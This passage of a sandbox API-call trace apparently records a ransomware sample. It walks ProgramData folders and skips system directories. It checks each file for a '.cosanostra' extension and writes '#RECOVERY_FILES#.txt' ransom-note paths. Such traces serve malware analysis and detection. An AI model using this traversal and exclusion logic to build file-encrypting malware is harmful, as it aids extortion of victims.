Pictures\\usertile41.bmp") returned 82 [0081.300] StrStrIW (lpFirst="usertile41.bmp", lpSrch=".cosanostra") returned 0x0 [0081.300] lstrcmpW (lpString1="usertile41.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.300] lstrcmpW (lpString1="usertile41.bmp", lpString2="_uninstalling_.png") returned 1 [0081.300] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp") returned 82 [0081.300] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.300] lstrcmpiW (lpString1="usertile42.bmp", lpString2="Windows") returned -1 [0081.300] lstrlenW (lpString="Windows") returned 7 [0081.300] lstrcmpiW (lpString1="usertile42.bmp", lpString2="Program Files") returned 1 [0081.300] lstrlenW (lpString="Program Files") returned 13 [0081.300] lstrcmpiW (lpString1="usertile42.bmp", lpString2="Program Files (x86)") returned 1 [0081.300] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.300] lstrcmpiW (lpString1="usertile42.bmp", lpString2="$Recycle.bin") returned 1 [0081.300] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.300] lstrcmpiW (lpString1="usertile42.bmp", lpString2="System Volume Information") returned 1 [0081.300] lstrlenW (lpString="System Volume Information") returned 25 [0081.300] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned 82 [0081.301] StrStrIW (lpFirst="usertile42.bmp", lpSrch=".cosanostra") returned 0x0 [0081.301] lstrcmpW (lpString1="usertile42.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.301] lstrcmpW (lpString1="usertile42.bmp", lpString2="_uninstalling_.png") returned 1 [0081.301] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned 82 [0081.301] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.301] lstrcmpiW (lpString1="usertile43.bmp", lpString2="Windows") returned -1 [0081.301] lstrlenW (lpString="Windows") returned 7 [0081.301] lstrcmpiW (lpString1="usertile43.bmp", lpString2="Program Files") returned 1 [0081.301] lstrlenW (lpString="Program Files") returned 13 [0081.301] lstrcmpiW (lpString1="usertile43.bmp", lpString2="Program Files (x86)") returned 1 [0081.301] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.301] lstrcmpiW (lpString1="usertile43.bmp", lpString2="$Recycle.bin") returned 1 [0081.301] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.301] lstrcmpiW (lpString1="usertile43.bmp", lpString2="System Volume Information") returned 1 [0081.301] lstrlenW (lpString="System Volume Information") returned 25 [0081.301] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned 82 [0081.301] StrStrIW (lpFirst="usertile43.bmp", lpSrch=".cosanostra") returned 0x0 [0081.301] lstrcmpW (lpString1="usertile43.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.301] lstrcmpW (lpString1="usertile43.bmp", lpString2="_uninstalling_.png") returned 1 [0081.301] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned 82 [0081.301] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.301] lstrcmpiW (lpString1="usertile44.bmp", lpString2="Windows") returned -1 [0081.301] lstrlenW (lpString="Windows") returned 7 [0081.301] lstrcmpiW (lpString1="usertile44.bmp", lpString2="Program Files") returned 1 [0081.301] lstrlenW (lpString="Program Files") returned 13 [0081.301] lstrcmpiW (lpString1="usertile44.bmp", lpString2="Program Files (x86)") returned 1 [0081.301] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.301] lstrcmpiW (lpString1="usertile44.bmp", lpString2="$Recycle.bin") returned 1 [0081.301] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.301] lstrcmpiW (lpString1="usertile44.bmp", lpString2="System Volume Information") returned 1 [0081.301] lstrlenW (lpString="System Volume Information") returned 25 [0081.301] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp") returned 82 [0081.301] StrStrIW (lpFirst="usertile44.bmp", lpSrch=".cosanostra") returned 0x0 [0081.301] lstrcmpW (lpString1="usertile44.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.301] lstrcmpW (lpString1="usertile44.bmp", lpString2="_uninstalling_.png") returned 1 [0081.301] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile44.bmp") returned 82 [0081.301] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.302] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.302] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\#RECOVERY_FILES#.txt") returned 88 [0081.302] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\#RECOVERY_FILES#.txt") returned 88 [0081.302] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.303] lstrcmpiW (lpString1="guest.bmp", lpString2="Windows") returned -1 [0081.303] lstrlenW (lpString="Windows") returned 7 [0081.303] lstrcmpiW (lpString1="guest.bmp", lpString2="Program Files") returned -1 [0081.303] lstrlenW (lpString="Program Files") returned 13 [0081.303] lstrcmpiW (lpString1="guest.bmp", lpString2="Program Files (x86)") returned -1 [0081.303] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.303] lstrcmpiW (lpString1="guest.bmp", lpString2="$Recycle.bin") returned 1 [0081.303] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.303] lstrcmpiW (lpString1="guest.bmp", lpString2="System Volume Information") returned -1 [0081.303] lstrlenW (lpString="System Volume Information") returned 25 [0081.303] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned 60 [0081.303] StrStrIW (lpFirst="guest.bmp", lpSrch=".cosanostra") returned 0x0 [0081.303] lstrcmpW (lpString1="guest.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.303] lstrcmpW (lpString1="guest.bmp", lpString2="_uninstalling_.png") returned 1 [0081.303] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned 60 [0081.303] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.303] lstrcmpiW (lpString1="user.bmp", lpString2="Windows") returned -1 [0081.303] lstrlenW (lpString="Windows") returned 7 [0081.303] lstrcmpiW (lpString1="user.bmp", lpString2="Program Files") returned 1 [0081.303] lstrlenW (lpString="Program Files") returned 13 [0081.303] lstrcmpiW (lpString1="user.bmp", lpString2="Program Files (x86)") returned 1 [0081.303] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.303] lstrcmpiW (lpString1="user.bmp", lpString2="$Recycle.bin") returned 1 [0081.303] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.303] lstrcmpiW (lpString1="user.bmp", lpString2="System Volume Information") returned 1 [0081.303] lstrlenW (lpString="System Volume Information") returned 25 [0081.303] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned 59 [0081.303] StrStrIW (lpFirst="user.bmp", lpSrch=".cosanostra") returned 0x0 [0081.303] lstrcmpW (lpString1="user.bmp", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.303] lstrcmpW (lpString1="user.bmp", lpString2="_uninstalling_.png") returned 1 [0081.303] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned 59 [0081.303] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.303] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.303] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\#RECOVERY_FILES#.txt") returned 71 [0081.303] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\#RECOVERY_FILES#.txt") returned 71 [0081.304] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.304] lstrcmpiW (lpString1="Vault", lpString2="Windows") returned -1 [0081.304] lstrlenW (lpString="Windows") returned 7 [0081.304] lstrcmpiW (lpString1="Vault", lpString2="Program Files") returned 1 [0081.304] lstrlenW (lpString="Program Files") returned 13 [0081.304] lstrcmpiW (lpString1="Vault", lpString2="Program Files (x86)") returned 1 [0081.304] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.304] lstrcmpiW (lpString1="Vault", lpString2="$Recycle.bin") returned 1 [0081.304] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.304] lstrcmpiW (lpString1="Vault", lpString2="System Volume Information") returned 1 [0081.304] lstrlenW (lpString="System Volume Information") returned 25 [0081.304] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault") returned 34 [0081.304] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0081.304] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0081.325] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\*") returned 36 [0081.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.325] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.325] lstrlenW (lpString="Windows") returned 7 [0081.325] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.325] lstrlenW (lpString="Program Files") returned 13 [0081.325] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.325] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.325] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.325] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.325] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.325] lstrlenW (lpString="System Volume Information") returned 25 [0081.325] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\.") returned 36 [0081.325] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.325] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.326] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.326] lstrlenW (lpString="Windows") returned 7 [0081.326] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.326] lstrlenW (lpString="Program Files") returned 13 [0081.326] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.326] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.326] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.326] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.326] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.326] lstrlenW (lpString="System Volume Information") returned 25 [0081.326] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\..") returned 37 [0081.326] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.326] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.326] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.326] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.326] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\#RECOVERY_FILES#.txt") returned 55 [0081.326] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Vault\\#RECOVERY_FILES#.txt") returned 55 [0081.327] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.327] lstrcmpiW (lpString1="VISIO", lpString2="Windows") returned -1 [0081.327] lstrlenW (lpString="Windows") returned 7 [0081.327] lstrcmpiW (lpString1="VISIO", lpString2="Program Files") returned 1 [0081.327] lstrlenW (lpString="Program Files") returned 13 [0081.327] lstrcmpiW (lpString1="VISIO", lpString2="Program Files (x86)") returned 1 [0081.327] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.327] lstrcmpiW (lpString1="VISIO", lpString2="$Recycle.bin") returned 1 [0081.327] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.327] lstrcmpiW (lpString1="VISIO", lpString2="System Volume Information") returned 1 [0081.327] lstrlenW (lpString="System Volume Information") returned 25 [0081.327] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO") returned 34 [0081.327] lstrcmpW (lpString1="VISIO", lpString2=".") returned 1 [0081.327] lstrcmpW (lpString1="VISIO", lpString2="..") returned 1 [0081.328] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\*") returned 36 [0081.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.334] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.334] lstrlenW (lpString="Windows") returned 7 [0081.334] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.334] lstrlenW (lpString="Program Files") returned 13 [0081.334] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.334] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.334] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.334] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.334] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.334] lstrlenW (lpString="System Volume Information") returned 25 [0081.334] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\.") returned 36 [0081.334] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.334] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.335] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.335] lstrlenW (lpString="Windows") returned 7 [0081.335] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.335] lstrlenW (lpString="Program Files") returned 13 [0081.335] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.335] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.335] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.335] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.335] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.335] lstrlenW (lpString="System Volume Information") returned 25 [0081.335] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\..") returned 37 [0081.335] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.335] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.335] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.335] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\#RECOVERY_FILES#.txt") returned 55 [0081.335] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\VISIO\\#RECOVERY_FILES#.txt") returned 55 [0081.336] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.336] lstrcmpiW (lpString1="Windows", lpString2="Windows") returned 0 [0081.336] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.336] lstrcmpiW (lpString1="Windows Defender", lpString2="Windows") returned 1 [0081.336] lstrlenW (lpString="Windows") returned 7 [0081.336] lstrcmpiW (lpString1="Windows Defender", lpString2="Program Files") returned 1 [0081.336] lstrlenW (lpString="Program Files") returned 13 [0081.336] lstrcmpiW (lpString1="Windows Defender", lpString2="Program Files (x86)") returned 1 [0081.336] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.336] lstrcmpiW (lpString1="Windows Defender", lpString2="$Recycle.bin") returned 1 [0081.336] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.336] lstrcmpiW (lpString1="Windows Defender", lpString2="System Volume Information") returned 1 [0081.336] lstrlenW (lpString="System Volume Information") returned 25 [0081.336] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender") returned 45 [0081.336] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0081.336] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0081.337] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\*") returned 47 [0081.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.344] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.344] lstrlenW (lpString="Windows") returned 7 [0081.344] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.344] lstrlenW (lpString="Program Files") returned 13 [0081.344] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.344] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.344] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.344] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.344] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.344] lstrlenW (lpString="System Volume Information") returned 25 [0081.344] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\.") returned 47 [0081.344] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.344] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.345] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.345] lstrlenW (lpString="Windows") returned 7 [0081.345] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.345] lstrlenW (lpString="Program Files") returned 13 [0081.345] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.345] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.345] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.345] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.345] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.345] lstrlenW (lpString="System Volume Information") returned 25 [0081.345] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\..") returned 48 [0081.345] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.345] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.345] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.345] lstrcmpiW (lpString1="Definition Updates", lpString2="Windows") returned -1 [0081.345] lstrlenW (lpString="Windows") returned 7 [0081.345] lstrcmpiW (lpString1="Definition Updates", lpString2="Program Files") returned -1 [0081.345] lstrlenW (lpString="Program Files") returned 13 [0081.345] lstrcmpiW (lpString1="Definition Updates", lpString2="Program Files (x86)") returned -1 [0081.345] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.345] lstrcmpiW (lpString1="Definition Updates", lpString2="$Recycle.bin") returned 1 [0081.345] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.345] lstrcmpiW (lpString1="Definition Updates", lpString2="System Volume Information") returned -1 [0081.345] lstrlenW (lpString="System Volume Information") returned 25 [0081.345] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates") returned 64 [0081.346] lstrcmpW (lpString1="Definition Updates", lpString2=".") returned 1 [0081.346] lstrcmpW (lpString1="Definition Updates", lpString2="..") returned 1 [0081.346] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*") returned 66 [0081.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.346] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.347] lstrlenW (lpString="Windows") returned 7 [0081.347] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.347] lstrlenW (lpString="Program Files") returned 13 [0081.347] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.347] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.347] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.347] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.347] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.347] lstrlenW (lpString="System Volume Information") returned 25 [0081.347] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\.") returned 66 [0081.347] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.347] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.347] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.347] lstrlenW (lpString="Windows") returned 7 [0081.347] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.347] lstrlenW (lpString="Program Files") returned 13 [0081.347] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.347] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.347] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.347] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.347] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.347] lstrlenW (lpString="System Volume Information") returned 25 [0081.347] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\..") returned 67 [0081.347] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.347] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.347] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.347] lstrcmpiW (lpString1="Backup", lpString2="Windows") returned -1 [0081.347] lstrlenW (lpString="Windows") returned 7 [0081.347] lstrcmpiW (lpString1="Backup", lpString2="Program Files") returned -1 [0081.347] lstrlenW (lpString="Program Files") returned 13 [0081.347] lstrcmpiW (lpString1="Backup", lpString2="Program Files (x86)") returned -1 [0081.347] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.347] lstrcmpiW (lpString1="Backup", lpString2="$Recycle.bin") returned 1 [0081.347] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.347] lstrcmpiW (lpString1="Backup", lpString2="System Volume Information") returned -1 [0081.347] lstrlenW (lpString="System Volume Information") returned 25 [0081.347] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned 71 [0081.348] lstrcmpW (lpString1="Backup", lpString2=".") returned 1 [0081.348] lstrcmpW (lpString1="Backup", lpString2="..") returned 1 [0081.348] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*") returned 73 [0081.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.349] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.349] lstrlenW (lpString="Windows") returned 7 [0081.349] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.349] lstrlenW (lpString="Program Files") returned 13 [0081.349] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.349] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.349] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.349] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.349] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.349] lstrlenW (lpString="System Volume Information") returned 25 [0081.349] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\.") returned 73 [0081.349] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.349] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.349] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.349] lstrlenW (lpString="Windows") returned 7 [0081.349] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.349] lstrlenW (lpString="Program Files") returned 13 [0081.349] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.349] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.349] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.349] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.349] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.349] lstrlenW (lpString="System Volume Information") returned 25 [0081.349] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\..") returned 74 [0081.349] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.350] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.350] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.350] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.350] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\#RECOVERY_FILES#.txt") returned 92 [0081.350] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\#RECOVERY_FILES#.txt") returned 92 [0081.350] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: 